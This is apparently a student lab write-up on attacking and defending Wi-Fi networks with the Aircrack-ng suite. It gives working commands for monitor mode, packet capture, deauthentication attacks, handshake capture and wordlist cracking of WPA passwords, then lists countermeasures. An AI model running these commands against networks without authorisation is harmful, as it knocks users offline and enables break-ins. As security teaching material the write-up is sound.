

9. Use Aircrack-ng Suite for Wireless Hacking and Countermeasures

Aim

To demonstrate wireless network hacking and apply countermeasures using the Aircrack-ng suite.

Tools Used

- Aircrack-ng Suite
 - Wireless Network Adapter (Monitor Mode Supported)
 - Linux OS (Kali Linux / Ubuntu)
-

Theory

Aircrack-ng is a suite of tools used to assess the security of wireless networks. It can monitor wireless traffic, capture packets, perform attacks on Wi-Fi encryption (WEP/WPA/WPA2), and help understand wireless security weaknesses. Proper countermeasures can prevent unauthorized access.

Steps / Procedure

Step 1: Enable Monitor Mode

1. Open the terminal.
 2. Identify wireless interface using command:
 3. `iwconfig`
 4. Enable monitor mode using:
 5. `airmon-ng start wlan0`
 6. Monitor mode interface is created (e.g., wlan0mon).
-

Step 2: Capture Wireless Packets

5. Start packet capturing using:

6. `airodump-ng wlan0mon`
 7. Identify target Wi-Fi network (BSSID and channel).
 8. Focus on target network using:
 9. `airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon`
-

Step 3: Perform Deauthentication Attack

8. Open a new terminal window.
 9. Send deauthentication packets to force reconnection:
 10. `aireplay-ng --deauth 10 -a <BSSID> wlan0mon`
 11. Capture WPA handshake during reconnection.
-

Step 4: Crack Wi-Fi Password

11. Use Aircrack-ng to crack the password:

```
aircrack-ng -w wordlist.txt capture.cap
```

12. Password is tested using the wordlist.
 13. Observe whether the key is successfully cracked.
-

Step 5: Apply Countermeasures

14. Use WPA3 or WPA2-AES encryption.
 15. Disable WPS on the router.
 16. Use strong, complex Wi-Fi passwords.
 17. Change default SSID and router credentials.
 18. Enable MAC address filtering.
 19. Monitor wireless traffic regularly.
-

Result

Wireless network vulnerabilities were successfully demonstrated using Aircrack-ng, and appropriate countermeasures were identified to secure the network.

Final Conclusion

Practical No. 9 demonstrated wireless hacking techniques using the Aircrack-ng suite and highlighted effective countermeasures to protect wireless networks from unauthorized access.